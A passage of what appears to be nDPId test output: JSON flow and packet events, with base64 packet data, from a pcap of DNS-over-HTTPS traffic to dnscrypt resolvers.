CGan1S8ji0kjp1PF5SgkDszY7oyvcHWR2j4C6IQfUNuW9sz\/BQ14X4v9\/xe+MBb1f30kVxu3I5Z5sCgwSJyclzM\/f\/w7+dPBCbaDnko\/4n8h05Ca12TAlFGzHkKPnx1A7nHgTXQTbJZXVUHU1yc6wwHk03G82kbZx+9FOzA9UNN9spmOc1YFepJxRmeK9M4veJGaNpfRVGQg2bta2RYDoDQK6oksPTzxPlWmkrVyuPbKNRQte57AnTO0NVTFr+bzDGOQFV5KuQbIF5hun\/LyUUKo6IgZruMikB6RR4IQ2uwGAocW75mLZis5bpZE122ilxmqMjkobAkDhx94FariZ5KfD\/Dr73ksFu0dQOrbgEoWdEDM1QJlwefbcBwmDPAZLTV06HvqQLrQ3a1J+ItnjBF\/3OcuGO6PNfCT4mXVZw\/XCZX37Gyj2evv5QnGXPK1+Sz2Q5HIbp4HDap\/+BBCzFRfzqg0GnGl3jD7AOmoAQDjzGfNFmTCT3IVA+v7COJSJTgvupRfK8IGZ6AChkDUM1D7TO\/gBXEdODTbF1kgj7tfbZE7QwEaK830652BNyQJGc4RRNwEbSlnyim1OuU6TMP1kn575di9kDVNjDx2AGxl9r8\/Snh1yll75FKAvMdPXTtCkrIgF4ok5dKpFUBKte07uQ2NnmiDy8tXArJDdFY7b0nRfBceQeXxY+261VTVS3qQ8BgkT+EbOmZjAyNz47hC\/w2WDlet\/NE9emDu\/WKqWCIy3yA1831JCwRHJDtJVAd9ss2dknfVJUGkTZeyaziCfo\/hUPLXsYyHku+nVEJbqNRpQOhPnb2jeGQfmWpk2og0U8kSEHESILcSFehIwO8Vb02doDEPxmjiluOoiNj8DTjVwesJzOCze3nnZ5thxuSrDhczvTCxNeMi2LoAi6IHJwv6yKmP3cCkUEWe4z9AbWZf4hUxJmNVNy5Q7vVV994JHX8omBPWK038vtH5PW7a2OYFKIdjI2Yz6SzJZ+OqlYbYFCmqa0c1eGXVB\/8TqdStQuai1fU0TE\/mTy2FB8c7NSR\/VKsBC8I6sIjqPn9nPpsLX4Aa5DuM2tqeuJozI3MGtgrFFDrWyvjyt1h\/ISepVOPB\/T+JPzE5fwBCeACmNByH9IK2FVF9+wHSMnDH3Rdcgq4pgz6QU4cUluqyfpyzHlgAE9GfUnMqJiECiCuREVqACQxSZ7sa2wTa0di8dAGzoqN4wIPrx\/temySP8MWqmu\/laj2zLNnRd172onl\/m0hR+U8Hv2MACSDGStNO4O5BZwFSeic72yCVIqhVfsgHETqQg8hlMMT17c\/Uj9ao0O73iw5Wjk\/7cB+lK3LZb6byC2wyyD+pd3TtLmM3qgg8MtUgLGKfhsIhfUQTp\/XqEKFU5NCsHHu5VZEHHRdrJOXdW\/pdNLP05EW9nsN0M81ZPdlsv4so8uNoBrTLmnVUIf8Xa\/+SxfhPXt5a7K9AzUWWAjnEVKewBClu712Lm3rXDDG8akrRqhMVator6IljVQJj5vEGH7cBag89maUZ4A+3FglL2gnFPZqquwNwRZ\/3ZI\/mK3YEJZaZg1I0ttRdpLCWXjXUB\/Ipx3mzzk088GloS95doYpwADCEaNRAt8ezUks5kQLYjOijiV4kNTL4MxFeNVH8TtI\/eKEzXoMQeONGsl0ElE1PvGiv8WDRmkmPVWFKUutMd8AsdJvQyoKp4+YBesIZnfv5oqwoZYzY6xW0eyUs26A2QPqxn4XpA6GW55Ed1urfGB\/LM4y6m1PQnCV91nOX\/rijw0hyc632Jc4nJK2Fy84ObW9S4LluL+dKVbnJwm07LENwwbm524\/mub+gizMq1y+sluBrCe\/URmcV1qijGxp4HTb+RHA1oHAF\/FwkQx5VCNkGEMN0VqUf0AhXzQ7n792nY1bKlqBB5bwOJqseO8f5u7xOkvAJgvo15UUiFg3Fs2KF6ThIQ+YMon+lnrc8ic+qxARfjEb0cUl2zxPZdn9Pk3JDZvc3FGGanhfOsuSbbIvGq9hrnu1dWnHdMIQG0tNqt5ibv87oqeA73DYcjrRkRvnmr+NgiyzjsYvnZnavg2SVhWLOyeYi6z6452amFOWjGib+uO3a6rOPS\/dTZTQ6OPLUcWKxkXHJYeC+Yo0LWKJwuFiHg7pi2FgUOZ1c24VzSrIDORj9fOesNSZQSAFwMDARkW8VkjAKLO1iVO3Z32JB1I03p1Xf19NsjcozTvJTA7tEC3r\/iX403MlEBRFX3aGlXo2cYSoUTLuYUpZWzaPV43zoko1HlYoj3YCwOBNXEdg1n9iG9nfj9q6\/IWDsPyy9SboWjcQJVD0zE5qJ8DwGucAIvsQ7D0zCtLvnxWjjpqSDdb9tOBYDpaZBZU8KCwR8LHjkKDpJkQyCpohil6861j3biEmWgZIX0h067Jmu+\/GI2jSqgEcF0VdDgb777Odt1jnDUv6rPpys\/KpOKpGwd1sOOD1atUuwZ2VWxJpoQFOVZofLGtGDAGLonrwSCzj9\/ObIFITDrXAwr6TE8\/SO2citlABmWDWJNFMQq1IU16fmzPW9wZ2jhYPxcDAwA1KFs5Si96rO1Ec9S06xPPSvxONjZOZ1eDJyi5V7B3adcTvi5GDWF42J9ne7Y2tNbnJdDWBMM="} +00886{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":236,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":2,"flow_first_seen":946739348407,"flow_last_seen":946739348519,"flow_tot_l4_data_len":3424,"flow_min_l4_data_len":306,"flow_max_l4_data_len":3118,"flow_avg_l4_data_len":1712,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":36012,"dst_port":453,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dns2.dnscrypt.ca","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00506{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":521785,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoD1xAAL0GdBEKAAABlTjkLYysAcV+b2UT8dMaQ1AYAfU6fQAAFAMDAAEBFwMDADViidEmWrIRj1bupCYNTHJ+IR+sbSf6KT90A8qW52RQBURyQL9vFT6E9CFjlI93BJu2cr+zKg=="} +00536{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":521926,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+D11AAL0Gc\/oKAAABlTjkLYysAcV+b2VT8dMaQ1AYAfU6kwAAFwMDAFErq550LH95uke0rm23VPceTqLIT5XXzMqalNs7I2JJrXOWUChHedceFo52rS2b6I6rUVra47JaBhmqJSjZZC8zmJ2wvcqD4AZr7WxTsoZAniY="} +00657{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":522094,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"REREREREZmZmZmZmCABFAADYD15AAL0Gc58KAAABlTjkLYysAcV+b2Wp8dMaQ1AYAfU67QAAFwMDAKsOGAidzVIImZBe8IrlHfcbcM11mmaHWvkM7H5DrafIKyBdOKxCc4GdZm+Qq+PXfPf0ndmV5FWH7h+IZADqRJal\/xOyFOe6Purf+ohwLWuQQt\/ZupLyqJH7ZZNQ9xhnhti95OsaKR2Y1b4EKds3ijmnaoMndpYL0W0+RcfMCAznlz3IcmNPTwpP+DR23n6pUpxgqmz18syHYKiy0yZrey0DrSIKjKAW6G9+eko="} +00529{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":522190,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3D19AAL0Gc\/8KAAABlTjkLYysAcV+b2ZZ8dMaQ1AYAfU6jAAAFwMDAEo0OArYkQNMg27EXbPA5UrWaL87A\/L0tltP7KNYQ2zvpxu2si2+eQTKxj5r4dgooUM6ahPoUi795pyNc88cAa\/92cd8rlnTDr6oEw=="} +00495{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":631644,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"ZmZmZmZmRERERERECABFAABf6C5AADQGJEiVOOQtCgAAAQHFjKzx0xpDfm9mqFAYAfUIMQAAFwMDADILec5zH0u1csdc3ruFfLw6vcHmQRu19oAbaB9Lb+1NcUcdGYRfJ+g3n90KsKyCnD\/JiA=="} +00478{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":631663,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"ZmZmZmZmRERERERECABFAABU6C9AADQGJFKVOOQtCgAAAQHFjKzx0xp6fm9mqFAYAfWrkwAAFwMDACfLl\/IH6CMalJKe8Khp5YGPlYvyPQBfXcdH6zqfYAnpHab+PiL\/L1Y="} +00461{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":631793,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHD2FAAL0GdC0KAAABlTjkLYysAcV+b2ao8dMaplAYAfU6XAAAFwMDABqLIiqOgl3KOS5PBGKunkM0r4HPem0E\/SEnmg=="} +00466{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":631809,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABL6DBAADQGJFqVOOQtCgAAAQHFjKzx0xqmfm9mqFAYAfUzjwAAFwMDAB7yGrUD6l\/BhILhpIjUyvj9JSRNNkCQxIkkZWu2rME="} +00528{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":632110,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"ZmZmZmZmRERERERECABFAAB36DFAADQGJC2VOOQtCgAAAQHFjKzx0xrJfm9mqFAYAfU6dgAAFwMDAEqdNGcXantoUBRmbRZv0bDTHKyi9luTueRwY6W3vlxI7b6CyEb3rzxrtWlFK9vKaqzLqMTGyYF8AlzYv+KTTlsgXyKOxapzA\/LhPg=="} +01096{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":632135,"pkt_caplen":553,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":553,"pkt_l4_len":519,"pkt":"ZmZmZmZmRERERERECABFAAIb6DJAADQGIoiVOOQtCgAAAQHFjKzx0xsYfm9mqFAYAfVpygAAFwMDAe4TW0nDyTQZSvOChb6kq5Yi0nQfyVxhWcCmoIm6PQrvny4CVoH\/Cps9IRabND2oasTorFUbFftRhonyF+Wbox672rmyzyM1u48bgNwhvnSmZB1fU6lOnS5X3AEa6P+1uUMAv+mpgLnMX4NbY7qTRYOdqszVvg8w3\/tUkGZNnsf7xQu4XgXZ5I9p+hk9pUHrgVZumQ3FYQJ79eOowkWQzDNNttRHHndH+enhbelISzE5pQ0DDUQnNV8ey6RMko8rnB+6qQELHApkDFywBKu5X9feHX+5KCiEzA5GX8HggL7wP1JTtghmRdWAPxsvLDiVObyUWp\/ngba+glBVXi6XQ8qD+1EdTlTdotWTKt5ECn2ejb6XbyvuNU2r0gZ\/dwmMpvI4U1GGlIkreQJWueUaM8v8KOs28JmxQjmEPVExerRLDk9i3H4fu0nne\/HdUxFYrSxatquCiMvAf+ZZlyPJbblNCihnpoEhCEfT9SI3AegdF0LkcSR8jO4bcPnKzFjq7y4tPUfJSWJeR2oZicq71OnY1\/FheGjj+2mzL81pA2HPWbYAQAFmZJz74IUc10nF6qdl680mSz6UAvl38OoXgRF+SEp78IKUmh2Bj4dQh84B7ZVS4srC1sw71ptCAy\/jy9+SfrIU90fj3C9dHnxO\/w=="} +00562{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":632552,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACRD2NAAL0Gc+EKAAABlTjkLYysAcV+b2bH8dMdC1AYAfU6pgAAFwMDAGRDuH0SRNge4KtZJvTqZaQaq1HgJSCCMpnQKHMI6ovV3CB\/t7j+uraRVyqkljO5z4BxQF+HTGb50xsX4UmW+lMgAbNvmHAFAzVZFYVqLizRSaFP7VQiTmHMNiIa\/c1OBP6HA27b"} +00570{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":632819,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWD2RAAL0Gc9sKAAABlTjkLYysAcV+b2cw8dMdC1AYAfU6qwAAFwMDAGlXhFdWqvEhyTlDp6w1hPZVH1D4QGtG5TFAn\/M+fvanG054BYUJax5Hl\/f1KcEDrezIHYgOsJiAwxt7unRbKlztIlLkkXB8fI0RhD6y08eFlXpDTXDQ8ateflvgRq7dQVPGMZlNlXa5z5w="} +00465{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":742064,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABL6DRAADQGJFaVOOQtCgAAAQHFjKzx0x0Lfm9nnlAYAfU93wAAFwMDAB5Ji3IaPqPqsPpO7e7I7ITP5Ggy7RENl6Impzd4GGE="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":252,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":946739348961,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":38018,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00811{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":961764,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"REREREREZmZmZmZmCABFAAFIPztAAL0G074KAAABLZm7YJSCAbsJfFJ\/n27j2lAYAfaq8AAAFgMBARsBAAEXAwMZV\/YJsl1KDGHp6vinUuSzBgwYUj7HikeN2yT\/6PXJXSCCG8AdBIamvVFUtiPCGd7atl\/XGLRDF4fN5wiY+j2o\/gAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACoAAAAFwAVAAASZG5zc2UuYWxla2JlcmcubmV0AAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AILqIx\/2aPwjQ+1CtVREnVkbTOyfaXxjQI4MYF1wNoZlj"} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":252,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":946739348961,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":38018,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dnsse.alekberg.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04358{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":12422,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuAVvpAADYGOMgtmbtgCgAAAQG7lIKfbuPaCXxTn1AQAIO1KAAAFgMDAHoCAAB2AwPVEzRRR6mT0E92uybAnGbGZWeWVD\/m1\/eNOhfsedWm3iCCG8AdBIamvVFUtiPCGd7atl\/XGLRDF4fN5wiY+j2o\/hMBAAAuADMAJAAdACAZ+iIImd19O1rP7adwYQe9xC\/+1jN6jL9eBLofHG6SbQArAAIDBBQDAwABARcDAwtedm5F60tr1KSpSWgXMdmmX3Ys4sUEWudZbc\/GVmqkUsaepFDQQ8mcPIjegsJEHlTqywqGyBqt0c8EFI9PK3y9wMc\/+3ozr1s1L0Jd42MTaMhOndcbb8aYEnSYi\/zIVpLn6qdOkfyxUEfDDwQC7tdpz8rWkLOD8s1Gc\/+GapP01LuZUSoxJKMEPFivq1rS7ax5uSaTQJul+x0Q1A7WKBQI96lxNlKhu8S\/F6aiQdLb9bng9LygmgdlJ0IMNTAzSle754kwT44x6hxHdY+dgL3FfpB162mfDfNtflZ3mHhPTnkpYtlwwqsdseLzRBUZP3Q4Ja18aDfnLKv6lwZqUkYqVbKbxYZxo1iV+7HgYRo00AC9h97+\/fjdDvQp1\/ZlgGZVor6fI\/2UbNyKd+CKXq\/WxiWd3cfOC5mfsohQgZfh0mCkf9dr3uz3ujKCV4y2skvjk\/nvMYWaCk8YYJ09fpkBhHkvDLX34BQkxdq8SFFlf9KC0xLeicU3h\/prF3BxKbFcEuJVsTQ1IwCvvKPttu9bXK5Pot+r5ctGacxaL2PbnIguGLNO3oXuqP1Q9c+9bIOgs3SrVqvTzY6u7z71LwLT4lIRUT1tdFuzNBsI3uP36b\/9IAg3kdqQ6B86AhSq6s9YI9cVyIl6Ij\/v4hTBVX3z6+HeVN1ZOCnsTQ5pzdsr1wh7Urw2Dq8ujiDkOD+Fou6dMOYoID0SKEwKKw1eszHLhxLaCFy\/r3d7Go4MVMtt3WT79fbDbeLxIVt3hgCghutkKtcuHd5chD4oLWELh6tM9hPl+4nCK4m\/+O5cbKg6OL6jCTY\/gO0DykmoFGAjlffWT5qFPKGIHd1y6jfLFBTeg895J4XJsRYeS8WWpPvi7T\/OrrEOEoSups8MYg4y47m6jBSiviaU3Egrqb9OmbARusmAkBOc+b7sPEV3vJ7rmbEmSmp9es6Ma1hTLKZ1zLv5y87EpErdv2GmabDERgys3rQli1zICByjjT3wKTtOmnCFVus\/kEZ20ZKIT3R1SBoRFrSMK3NkxEq+liNvGGcf+EHNQ14qDPBLs0m+Amz59cCkIeFxK62ZDg\/D8+8JoEQZlyE9AWaFti+8vDVxBObTHdc9i3Kw7ewteJw63QBC9EWl8n8clagy9wb+UFjl1FNsicAfIiO1Xs\/Zye+Z2EVvEt6aOGsYYXUIiuSHHHy+OTANd5q6FtSmxH5d29V\/RRYtUF+RFNqvu7jCJbpfY4CMi\/uFQpCXgIsM\/FuZw9ietB43gXYBJPigmUjQOJrnl2aOEVZN25twSZkyFkDyfGhTbcdXECqNFF8TnC98sE4z4cSyaAj5eIgD8KWiILJX2yoi+dB+VLGxM9ljCfyywhEqQD9FxwMPenX20RdEq43Qg2oM44SbTOcaPyRK5R1+UoArEareBxTtwbIj1\/gYPRWTkZ8pK7ELTpeDzq5dz0ptJVwSUIH0JdKkVE3RFHc7LCdWysSVUeFYgHXl28Deq1y2qizxSTQTQGj788zPkj9nRqwsew3ffxErP0pR2erOmxzmRPzUcbJ79H2yupuK1CFndSabVcPzkp0n+2KlKx3Rn8tyf\/hn5qm64LAaVaGFpUoNBQQlUEAUYg9kdMVxRV9nD92+mrKa+2JReRncweAA5LhgzrfrEPwyc1B\/FBpBxwIyV7Xy5RQehy\/n+t2tqgDOZsROSPZV\/c502uShsqQ80dFUM5RKxh0mzHQFM0OK4kAUJhq4wyFBHR892ibgw3EufqDFUX7y2fDW3v9sHJ0PjEBQf0Z+LPQlMJXmUS7wgfHtNIgpjboq9\/XXfFayEzII5Ncg7bWrTiyo4JZFWiVHcfds+TlAJ90V8nR81jNjJjiPpWGiw\/wBoLReBkDgcemdC73ykLweu4Hz14TsLOSuTZsu5EZr2HV10q+61hH6ogeRQcst3XaFzwE6kceLYfEcwH6tnp0hMB9x62cNInT6JQ8Ps6Dsa1MRUtnCTsYL1E0KIBY7R9nY7dSZJpv6\/qCWpPnVEfxATo177u2nsXiV3PW6LNV3vcyinTzbbKWNsqHSX\/Rxrwf+OdHXgpeBX43CwbB+Rl\/n0BchEVnzKV702Gf9HUv7cdBb0q\/i8hYFIFBzZttYWXxvMMCuX5vFFfZ+rdfdvsqESgmVU60GNMEWlpOcj4wiK5O4Sufp7t63lXuXFEGAyK\/zCX6bTsoTK5InJmYeoxH7z6vro\/3e6Rs6NXLtea8yb94qYkPEVBEqGEipZDsyb\/R\/lWwE43D7Aub6g9hkVbl53hLJGZnLMYjNGkky7jnCfZMKDiaQ3bMKv84lVUSDkp3sK9qeuBF1mmZVLhv9HAxir3SYBNQzWsBGcCUpO9xkV8FP0kj\/iTW\/FfLKk\/DKd+BUjaxMV2uhSSQCmVokip5q8tl9J4DEAniFz7fyP2MXZu9ul4s+9NyHUnr96E7oyJz9targa6lIbTNrabDpef+RQ95Jg3dEACMFcNChtfiB\/b3jxW+VTLzdeEUKMhmN9RiB66l3ilE2UeLuKgX3mDdaXzGma9QHxu929MG9uV3gmQHGDy5TCH2vSSxC6z2\/OmzDacBVelfY5Epw7lZBVVGZZnkHXtDZ9aRkPwQ5ycPlis7xyXgrmjnzVXCU2sPi4g8aIZETiD58CL1o5eQFVuuBNN+YXqwNw72pWFPr7n1hEhwv6Vw12CTiC6plOVTlmWo7Hq2\/pHWhiu+RR5lh+vtYdVwTRC30+fnyRct1ka9vbNMqvCrrwxYa5D5R79sdMZcHtogzlIhlvBA\/hEtCrwDCOTsOVV\/YHdG3yKWN4O6RFwnZZifYo9t6777XaaqBBnRbmAIh24x\/s0cQdV+c5CkmqhwnyVXuFfH9t0XQ1553XL2pziV2ZWgjNschuXZ58zhktYtAMF0VjgYyEW7jDxhCpc\/J+cRaztT52A0ytvkRgmQaVyJn+aLdW9sCq3AlQ8gfIfMUsOa4qrrfYi\/W6wC7p\/JpUVApLzH2mKuhH3cCajbIykaOD4hdj7uAYv5ROV\/V+1+PXMG5ia\/9hbHOgDJFO9d9IqY7KSn3C+1mBqumfNrcdhFQFiTH43iJKL7gLi6km2zN5cYKZjrmjbjv3JkWSUwYRpPDfBjgX5JiTKnp6do79w4bx6CpetzdKmLMsuX1smdlFu3kujpvbqv6a1KH6F4pTm1MQ5RJmmfgdquxg6OsIIvP\/kEDn+LVg8ZMm87yYyquFkOWwe1Uj\/Vi3kL4fPIR5niD5XVoEWohLwDdVCqKts+2P1GYyEHqQAMrqWmQegZl\/LhTQw4INPlPDFEm0yb+KBOh00ktbHzCM3CFPGnzYO3alldd67nq954eKLkUOGB9MeSY7cUwdbulO4dr11zq3CmOecqOMxOt2f\/VIopIebzlUenef+vRdxbO4ewVSqUhsy+yoPWXBOpZPgLhhY3LxBP7ooDeCCIO0lcZB\/CBSyUEgiFK4lZ3kAGz8uFt3A\/vRHHEykEvXspKCwmakvQLGtne7shF+m0j\/3K2vxEjTMcnD1pU47tDCPXW32n5d+GKj1kQXvMBCTdCNuO1i0NSTDkuKc7j5+f6O6RyusC0fFzTP7MVdbXFBb1omPMQEuUSj0+hj0rK73sjeV5xq8OVFpFoURjJ2NwQsCAu\/jAm112150nTKknyPg+N6HqbvoOC0Wpkh7IwnBnV+fSTZjZ4AEkEeoKm"} +00831{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":253,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":2,"flow_first_seen":946739348961,"flow_last_seen":946739349012,"flow_tot_l4_data_len":3232,"flow_min_l4_data_len":308,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1616,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":38018,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dnsse.alekberg.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00614{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":15352,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"ZmZmZmZmRERERERECABFAAC4VvxAADYGQ44tmbtgCgAAAQG7lIKfbu8yCXxTn1AYAIOAngAAUbudk7Sx467B78RwxwixN7WbszxDSJth5tiFKuiBrGoB9KFJtYBVt1C9rFJk5PyiCKlQsUVoHGHAH28fXEOq226wLx4N\/Z5eAHXlqMB6V1mSenxLPr5ItjgHCvxui0hIr8CHs4BD\/dcyFi\/lJAfYyCLIMg195o3ptTftZf8UL\/yW+5j1eIJyx2wYxG1Bmojg"} 